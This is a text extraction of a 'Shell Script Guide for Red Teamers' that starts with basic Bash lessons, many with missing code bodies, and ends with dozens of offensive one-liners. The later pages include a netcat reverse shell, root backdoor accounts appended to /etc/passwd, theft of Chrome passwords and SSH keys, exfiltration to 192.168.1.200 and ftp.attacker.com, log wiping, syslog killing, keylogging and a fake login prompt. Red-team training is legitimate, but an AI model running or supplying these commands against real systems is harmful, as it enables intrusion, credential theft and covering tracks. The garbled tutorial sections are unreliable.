ShellScriptGuide For Red Teamers 1740024578
ShellScriptGuide For Red Teamers 1740024578
In cybersecurity, the ability to think like an attacker is essential for Red Teamers, penetration
testers, and ethical hackers. Shell scripting is a fundamental skill that enables automation,
stealth, and control over a compromised system. Whether it's gathering intelligence, escalating
privileges, maintaining persistence, or exfiltrating data, Bash scripts can streamline and enhance
Red Team operations.
This book, "Shell Script Examples for Advanced Red Teamers," provides practical, real-
world attack simulations using Bash scripting. The scripts cover basic enumeration, lateral
movement, privilege escalation, evasion techniques, and post-exploitation tactics. Each
example is designed to mimic real-world scenarios, offering a deeper understanding of how
attackers operate while helping security professionals strengthen their defenses.
Disclaimer: This book is intended for educational and research purposes only.
Unauthorized use of systems without explicit permission is illegal. Always conduct testing in a
controlled and legal environment.
The GNU Bourne-Again Shell (commonly known as Bash) is the default shell for most Linux
distributions. While Bash is typically used in an interactive mode via the Command Line Interface
(CLI), its non-interactive mode is essential for running shell scripts. A shell script is a file containing
a series of commands executed sequentially to automate tasks.
This document provides examples of shell scripts for red teamers, covering fundamental
concepts and practical use cases.
Table of Contents
The combination of # and ! (called Shebang or #!) at the start of a script specifies which
interpreter should execute the script. For Bash scripts, the Shebang should be written as:
2
Daily Red Team
A COMPREHENSIVE SHELL SCRIPT GUIDE FOR RED TEAMERS
#!/bin/bash
This ensures that the script is interpreted using Bash. It must always be placed on the first line
of the script file.
mkdir bin
nano bin/hello_world.sh
#!/bin/bash
echo "Hello, World!"
7. Restart your system to ensure the script directory is recognized in the $PATH variable.
After restarting your system, you can run the script by opening a terminal and entering:
3
Daily Red Team
A COMPREHENSIVE SHELL SCRIPT GUIDE FOR RED TEAMERS
bash hello_world.sh
Hello, World!
Besides regular Linux commands, Bash scripting involves core elements such as variables,
operators, and conditionals, which will be covered in this section.
4
Daily Red Team
A COMPREHENSIVE SHELL SCRIPT GUIDE FOR RED TEAMERS
#!/bin/bash
# Declaring variables
name="Tom"
age=12
Output:
You can take user input using the read command and store it in a variable.
#!/bin/bash
Output:
Enter a number:
12
The number you entered is: 12
5
Daily Red Team
A COMPREHENSIVE SHELL SCRIPT GUIDE FOR RED TEAMERS
The read command, when used with the -p flag, allows displaying a message alongside the
input prompt.
#!/bin/bash
Output:
Bash allows combining multiple variables into a single string using double quotes ("").
#!/bin/bash
# Defining variables
greeting="Hello"
name="Tom"
# Concatenation
message="${greeting}, ${name}!"
echo "$message"
Output:
Hello, Tom!
6
Daily Red Team
A COMPREHENSIVE SHELL SCRIPT GUIDE FOR RED TEAMERS
Instead of hardcoding values, you can pass them as command-line arguments when executing
the script.
#!/bin/bash
name=$1
age=$2
Output:
You can also access system environment variables using ${!} syntax.
#!/bin/bash
Output:
Bash provides various operators for performing calculations and comparisons. They are
grouped into the following categories:
#!/bin/bash
num1=10
num2=20
sum=$((num1 + num2))
Output:
Sum: 30
#!/bin/bash
num1=30
num2=20
diff=$((num1 - num2))
8
Daily Red Team
A COMPREHENSIVE SHELL SCRIPT GUIDE FOR RED TEAMERS
Output:
Difference: 10
#!/bin/bash
num1=6
num2=3
prod=$((num1 * num2))
div=$((num1 / num2))
Output:
Product: 18
Quotient: 2
#!/bin/bash
Output:
9
Daily Red Team
A COMPREHENSIVE SHELL SCRIPT GUIDE FOR RED TEAMERS
27
#!/bin/bash
Output:
Enter a number: 35
Enter another number: 15
Addition: 50
Subtraction: 20
Multiplication: 525
Division: 2
10
Daily Red Team
A COMPREHENSIVE SHELL SCRIPT GUIDE FOR RED TEAMERS
#!/bin/bash
Output:
Enter a number: 25
The number is odd.
11
Daily Red Team
A COMPREHENSIVE SHELL SCRIPT GUIDE FOR RED TEAMERS
This script allows users to choose an operation (+, -, *, /) and applies it to two numbers.
#!/bin/bash
Output:
#!/bin/bash
12
Daily Red Team
A COMPREHENSIVE SHELL SCRIPT GUIDE FOR RED TEAMERS
case $op in
and)
if [[ $val1 == "true" && $val2 == "true" ]]; then
echo "Result: true"
else
echo "Result: false"
fi ;;
or)
if [[ $val1 == "true" || $val2 == "true" ]]; then
echo "Result: true"
else
echo "Result: false"
fi ;;
not)
if [[ $val1 == "true" ]]; then
echo "Result: false"
else
echo "Result: true"
fi ;;
*)
echo "Invalid operator." ;;
esac
Output:
#!/bin/bash
13
Daily Red Team
A COMPREHENSIVE SHELL SCRIPT GUIDE FOR RED TEAMERS
Output:
#!/bin/bash
Output:
14
Daily Red Team
A COMPREHENSIVE SHELL SCRIPT GUIDE FOR RED TEAMERS
#!/bin/bash
Output:
#!/bin/bash
if [ -w "$filename" ]; then
echo "The file '$filename' is writable."
else
echo "The file '$filename' is not writable."
fi
Output:
15
Daily Red Team
A COMPREHENSIVE SHELL SCRIPT GUIDE FOR RED TEAMERS
#!/bin/bash
if [ -f "$name" ]; then
echo "'$name' is a file."
elif [ -d "$name" ]; then
echo "'$name' is a directory."
else
echo "'$name' does not exist."
fi
Output:
16
Daily Red Team
A COMPREHENSIVE SHELL SCRIPT GUIDE FOR RED TEAMERS
#!/bin/bash
n=5
until [ $n -eq 0 ]; do
echo $n
n=$((n - 1))
done
Output:
5
4
3
2
1
#!/bin/bash
17
Daily Red Team
A COMPREHENSIVE SHELL SCRIPT GUIDE FOR RED TEAMERS
fi
done
Output:
2
4
6
8
10
#!/bin/bash
Output:
5 x 1 = 5
5 x 2 = 10
5 x 3 = 15
...
5 x 10 = 50
18
Daily Red Team
A COMPREHENSIVE SHELL SCRIPT GUIDE FOR RED TEAMERS
#!/bin/bash
Output:
#!/bin/bash
19
Daily Red Team
A COMPREHENSIVE SHELL SCRIPT GUIDE FOR RED TEAMERS
fact=$((fact * i))
done
Output:
Enter a number: 6
Factorial of 6 is: 720
#!/bin/bash
Output:
20
Daily Red Team
A COMPREHENSIVE SHELL SCRIPT GUIDE FOR RED TEAMERS
Declaring an Array:
Accessing Elements:
Output:
apple
banana
cherry
21
Daily Red Team
A COMPREHENSIVE SHELL SCRIPT GUIDE FOR RED TEAMERS
#!/bin/bash
arr=(24 27 84 11 99)
smallest=100000
largest=0
Output:
Smallest: 11
Largest: 99
#!/bin/bash
arr=(24 27 84 11 99)
22
Daily Red Team
A COMPREHENSIVE SHELL SCRIPT GUIDE FOR RED TEAMERS
Output:
Original array: 24 27 84 11 99
Sorted array: 11 24 27 84 99
#!/bin/bash
arr=(24 27 84 11 99)
Output:
#!/bin/bash
23
Daily Red Team
A COMPREHENSIVE SHELL SCRIPT GUIDE FOR RED TEAMERS
for i in "${arr[@]}"; do
sum=$((sum + i))
done
avg=$((sum / ${#arr[@]}))
Output:
function_name () {
# Code to execute
}
or
24
Daily Red Team
A COMPREHENSIVE SHELL SCRIPT GUIDE FOR RED TEAMERS
function function_name {
# Code to execute
}
Calling a Function:
function_name
#!/bin/bash
Palindrome () {
s=$1
if [ "$(echo $s | rev)" == "$s" ]; then
echo "The string is a palindrome."
else
echo "The string is not a palindrome."
fi
}
Output:
25
Daily Red Team
A COMPREHENSIVE SHELL SCRIPT GUIDE FOR RED TEAMERS
#!/bin/bash
Prime () {
num=$1
if [ $num -lt 2 ]; then
echo "The number $num is not prime."
return
fi
Output:
Enter a number: 7
The number 7 is prime.
26
Daily Red Team
A COMPREHENSIVE SHELL SCRIPT GUIDE FOR RED TEAMERS
#!/bin/bash
Celsius () {
f=$1
c=$(( ($f - 32) * 5 / 9 ))
echo "Temperature in Celsius: $c°C"
}
Output:
#!/bin/bash
Area () {
width=$1
height=$2
area=$((width * height))
echo "Area of the rectangle: $area"
}
Output:
27
Daily Red Team
A COMPREHENSIVE SHELL SCRIPT GUIDE FOR RED TEAMERS
#!/bin/bash
Area () {
radius=$1
area=$(echo "scale=2; 3.14 * $radius * $radius" | bc)
echo "Area of the circle: $area"
}
Output:
#!/bin/bash
Grade () {
score=$1
if (( score >= 80 )); then
grade="A+"
elif (( score >= 70 )); then
28
Daily Red Team
A COMPREHENSIVE SHELL SCRIPT GUIDE FOR RED TEAMERS
grade="A"
elif (( score >= 60 )); then
grade="B"
elif (( score >= 50 )); then
grade="C"
elif (( score >= 40 )); then
grade="D"
else
grade="F"
fi
echo "Your grade is: $grade"
}
Output:
This script searches for a word or phrase in a file and displays the matching lines with their
line numbers.
29
Daily Red Team
A COMPREHENSIVE SHELL SCRIPT GUIDE FOR RED TEAMERS
if [ $? -eq 1 ]; then
fi
Output:
#!/bin/bash
Output:
30
Daily Red Team
A COMPREHENSIVE SHELL SCRIPT GUIDE FOR RED TEAMERS
#!/bin/bash
Output:
Contents of file2.txt:
This is file2.
31
Daily Red Team
A COMPREHENSIVE SHELL SCRIPT GUIDE FOR RED TEAMERS
if [ -e "$file" ]; then
cp "$file" "$dest"
echo "File copied to $dest."
else
echo "Error: File does not exist."
fi
Output:
#!/bin/bash
if [ -f "$file" ]; then
rm "$file"
echo "File deleted successfully!"
else
echo "Error: File does not exist."
fi
Output:
32
Daily Red Team
A COMPREHENSIVE SHELL SCRIPT GUIDE FOR RED TEAMERS
#!/bin/bash
if [ -f "$file" ]; then
if [ -r "$file" ]; then echo "Readable"; fi
if [ -w "$file" ]; then echo "Writable"; fi
if [ -x "$file" ]; then echo "Executable"; fi
else
echo "Error: File does not exist."
fi
Output:
Enter filename: script.sh
Readable
Writable
Executable
#!/bin/bash
if [ $? -eq 0 ]; then
echo "Host is up!"
33
Daily Red Team
A COMPREHENSIVE SHELL SCRIPT GUIDE FOR RED TEAMERS
else
echo "Host is down!"
fi
Output:
#!/bin/bash
if [ $? -eq 0 ]; then
echo "Port $PORT on $HOST is open."
else
echo "Port $PORT on $HOST is closed."
fi
Output:
34
Daily Red Team
A COMPREHENSIVE SHELL SCRIPT GUIDE FOR RED TEAMERS
#!/bin/bash
Output:
#!/bin/bash
while true; do
if ! pgrep "$process" &> /dev/null; then
"$process_path" &
echo "Process '$process' restarted."
fi
sleep 5
done
Output:
35
Daily Red Team
A COMPREHENSIVE SHELL SCRIPT GUIDE FOR RED TEAMERS
#!/bin/bash
users=$(who | wc -l)
echo "Number of currently logged-in users: $users"
Output:
#!/bin/bash
Output:
36
Daily Red Team
A COMPREHENSIVE SHELL SCRIPT GUIDE FOR RED TEAMERS
Important Note:
● These scripts are for educational purposes only. Always ensure you have explicit
permission to test any systems.
● Modify the scripts as needed to fit your specific use case.
● Use these responsibly and ethically.
#!/bin/bash
echo "Hostname: $(hostname)"
echo "OS: $(uname -a)"
echo "Uptime: $(uptime)"
#!/bin/bash
echo "Root Users:"
awk -F: '$3 == 0 {print $1}' /etc/passwd
37
Daily Red Team
A COMPREHENSIVE SHELL SCRIPT GUIDE FOR RED TEAMERS
#!/bin/bash
echo "Scanning for SUID binaries..."
find / -perm -4000 -type f 2>/dev/null
#!/bin/bash
ls -l /etc/passwd /etc/shadow
#!/bin/bash
echo "Active Connections:"
netstat -tunlp | grep LISTEN
#!/bin/bash
echo "Scanning open ports..."
nmap -p- 127.0.0.1
38
Daily Red Team
A COMPREHENSIVE SHELL SCRIPT GUIDE FOR RED TEAMERS
#!/bin/bash
grep -i "password" /var/log/syslog 2>/dev/null
#!/bin/bash
find / -type d -perm -0002 2>/dev/null
#!/bin/bash
ps aux | grep -i "password\|ssh\|key"
#!/bin/bash
cat /etc/crontab
ls -l /etc/cron.*
39
Daily Red Team
A COMPREHENSIVE SHELL SCRIPT GUIDE FOR RED TEAMERS
#!/bin/bash
arp -a
#!/bin/bash
nmap -sV 192.168.1.100
#!/bin/bash
strings /proc/kcore | grep "PRIVATE KEY"
#!/bin/bash
nmap --script=smb-enum-shares -p 445 192.168.1.100
#!/bin/bash
40
Daily Red Team
A COMPREHENSIVE SHELL SCRIPT GUIDE FOR RED TEAMERS
#!/bin/bash
nmap -p 3389 192.168.1.100
#!/bin/bash
hydra -L users.txt -P passwords.txt ssh://192.168.1.100
#!/bin/bash
cat /etc/NetworkManager/system-connections/*
#!/bin/bash
sqlite3 ~/.config/google-chrome/Default/Login\ Data "SELECT
origin_url, username_value, password_value FROM logins;"
41
Daily Red Team
A COMPREHENSIVE SHELL SCRIPT GUIDE FOR RED TEAMERS
#!/bin/bash
find ~/.ssh -type f -perm -o+w
#!/bin/bash
useradd -m -G sudo attacker
echo "attacker:password123" | chpasswd
#!/bin/bash
echo "attacker::0:0::/root:/bin/bash" >> /etc/passwd
#!/bin/bash
echo 'backdoor:x:0:0::/root:/bin/bash' >> /etc/passwd
42
Daily Red Team
A COMPREHENSIVE SHELL SCRIPT GUIDE FOR RED TEAMERS
#!/bin/bash
echo "PermitRootLogin yes" >> /etc/ssh/sshd_config
service ssh restart
#!/bin/bash
nc -e /bin/bash 192.168.1.200 4444
#!/bin/bash
kill -STOP $$ # Hides the process from listing
43
Daily Red Team
A COMPREHENSIVE SHELL SCRIPT GUIDE FOR RED TEAMERS
#!/bin/bash
echo "Turning off logging..."
echo "" > /var/log/auth.log
#!/bin/bash
history -c
#!/bin/bash
touch -t 199901010000 target_file
#!/bin/bash
setenforce 0
#!/bin/bash
killall -9 syslogd
44
Daily Red Team
A COMPREHENSIVE SHELL SCRIPT GUIDE FOR RED TEAMERS
#!/bin/bash
nc -w 3 192.168.1.200 4444 < /etc/passwd
#!/bin/bash
tar czf - ~/.ssh | nc 192.168.1.200 4444
#!/bin/bash
tar czf secret.tar.gz /important_data
openssl enc -aes-256-cbc -salt -in secret.tar.gz -out secret.enc -k
"mypassword"
45
Daily Red Team
A COMPREHENSIVE SHELL SCRIPT GUIDE FOR RED TEAMERS
#!/bin/bash
logkeys --start --output /tmp/keystrokes.log
#!/bin/bash
ftp -n <<EOF
open ftp.attacker.com
user attacker password123
put secret.enc
bye
EOF
Bonus
46. Encode Data with Base64 Before Exfiltration
#!/bin/bash
tar czf - /important_data | base64 > encoded_data.txt
nc -w 3 192.168.1.200 4444 < encoded_data.txt
This hides the contents from simple network monitoring by encoding them.
#!/bin/bash
cp /bin/bash /tmp/.hidden_bash
46
Daily Red Team
A COMPREHENSIVE SHELL SCRIPT GUIDE FOR RED TEAMERS
chmod +s /tmp/.hidden_bash
This creates a hidden backdoor shell that can be used later for privilege escalation.
#!/bin/bash
ssh -R 4444:localhost:22 [email protected]
This allows an attacker to connect back into the compromised machine using SSH.
#!/bin/bash
echo -n "Username: " && read user
echo -n "Password: " && read -s pass
echo "$user:$pass" >> /tmp/creds.txt
#!/bin/bash
mkdir -p ~/.ssh
47
Daily Red Team
A COMPREHENSIVE SHELL SCRIPT GUIDE FOR RED TEAMERS
This allows password-less SSH access for persistent control over the system.
"Every great Linux admin started with a simple script—keep writing and improving!"
48
Daily Red Team
A COMPREHENSIVE SHELL SCRIPT GUIDE FOR RED TEAMERS
49